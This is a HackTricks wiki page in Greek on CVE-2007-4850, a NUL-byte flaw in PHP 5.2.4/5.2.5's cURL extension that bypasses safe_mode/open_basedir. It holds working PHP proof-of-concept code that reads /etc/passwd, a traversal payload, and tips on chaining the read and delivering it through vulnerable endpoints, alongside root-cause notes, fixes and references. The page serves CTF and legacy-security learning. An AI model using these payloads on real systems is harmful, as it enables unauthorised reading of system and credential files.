PHP 5.2.4 και 5.2.5 PHP cURL
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα τεκμηριώνει ένα παλαιό αλλά ακόμα χρήσιμο — σε CTFs ή σε τοπικές παλαιές εγκαταστάσεις — τέχνασμα για την παράκαμψη των ελέγχων PHP safe_mode/open_basedir χρησιμοποιώντας την επέκταση cURL σε συγκεκριμένα builds PHP 5.2.x.
- Επηρεαζόμενα: PHP 5.2.4 και 5.2.5 με ext/curl ενεργοποιημένο.
- Επιπτώσεις: Ανάγνωση αυθαίρετων τοπικών αρχείων παρά τους περιορισμούς safe_mode ή open_basedir (χωρίς άμεση εκτέλεση κώδικα).
- ID: CVE-2007-4850.
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
One-liner PoC
Αν οι safe_mode ή open_basedir είναι ενεργοί και το cURL είναι ενεργοποιημένο, το ακόλουθο θα επιστρέψει τα περιεχόμενα του τρέχοντος script:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
Πιο ρητό PoC (αυθαίρετη ανάγνωση αρχείου)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Σημειώσεις:
- Χρησιμοποιήστε διπλά εισαγωγικά ή chr(0) για να εισάγετε ένα πραγματικό NUL byte. Το percent-encoding (%00) δεν θα λειτουργήσει αξιόπιστα.
- Πρόκειται για ένα file read primitive. Συνδυάστε με άλλα primitives (log poisoning, session file inclusion, κ.λπ.) για περαιτέρω escalation όταν είναι δυνατόν.
Γιατί αυτό λειτουργεί (σύντομα)
Η ευπάθεια βρίσκεται στον τρόπο με τον οποίο οι PHP 5.2.4/5.2.5 εκτελούσαν τους ελέγχους safe_mode/open_basedir για URL τύπου file:// στο ext/curl. Ο έλεγχος έκανε parsing του URL και επικύρωνε ένα component διαδρομής, αλλά λόγω της διαχείρισης NUL-byte επικύρωνε μια διαφορετική συμβολοσειρά από αυτήν που χρησιμοποιούσε πραγματικά η libcurl. Στην πράξη, ο validator μπορούσε να εγκρίνει τη διαδρομή μετά το NUL ενώ η libcurl χρησιμοποιούσε το μέρος πριν το NUL ως το URL container, επιτρέποντας μια παράκαμψη που έχει ως αποτέλεσμα την ανάγνωση του αρχείου που τοποθετήθηκε μετά το NUL byte. Δείτε την αρχική ανάλυση και το επηρεασμένο macro στο curl/interface.c για λεπτομέρειες. [CVE-2007-4850].
Περιορισμοί και διορθώσεις
- Fixed σε μεταγενέστερα 5.2.x (π.χ., distro builds patched to 5.2.6) διορθώνοντας το parsing/validation στο ext/curl.
- Επηρεάζει μόνο πολύ παλιές PHP αναπτύξεις· το safe_mode αφαιρέθηκε στην PHP 5.4 και τα σύγχρονα builds δεν εμφανίζουν αυτή τη συμπεριφορά.
Σχετικές ιστορικές παρακάμψεις με cURL
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers επέτρεπαν πρόσβαση
file://με embedded NULs για παράκαμψη του open_basedir· fixed πριν από τα 5.2.x. - PHP bugs #30609/#36223 tracked early cURL open_basedir issues χρησιμοποιώντας
file://χωρίς canonicalization. Οποιοσδήποτε έλεγχος πριν το NUL byte ή χωρίςrealpath-style resolution είναι επιρρεπής στην ίδια περικοπή.
Συμβουλές για CTF
- Όταν εντοπίζετε PHP 5.2.4/5.2.5 με ext/curl φορτωμένο (ψάξτε για
cURL support => enabledστοphpinfo()και την ακριβήPHP Version), αυτό το κόλπο συνήθως δουλεύει ακόμα και αν τοallow_url_fopenείναι disabled επειδή το ext/curl χειρίζεται τοfile://μόνο του. - Εάν οι άμεσες διαδρομές μπλοκάρονται, δοκιμάστε σχετική περιήγηση μετά το NUL, π.χ.
file://x\x00../../../../etc/passwd. Η περιήγηση επιλύεται από τη libcurl, όχι από τη προστασία open_basedir. - Μπορείτε να τυλίξετε το payload σε ένα μόνο HTTP request body για να ενεργοποιήσετε το LFI μέσω ευπαθούς server-side κώδικα που καθρεφτίζει user-controlled URLs σε
curl_exec()(συνηθισμένο σε legacy SSRF-like endpoints).
Δείτε επίσης
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
Αναφορές
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


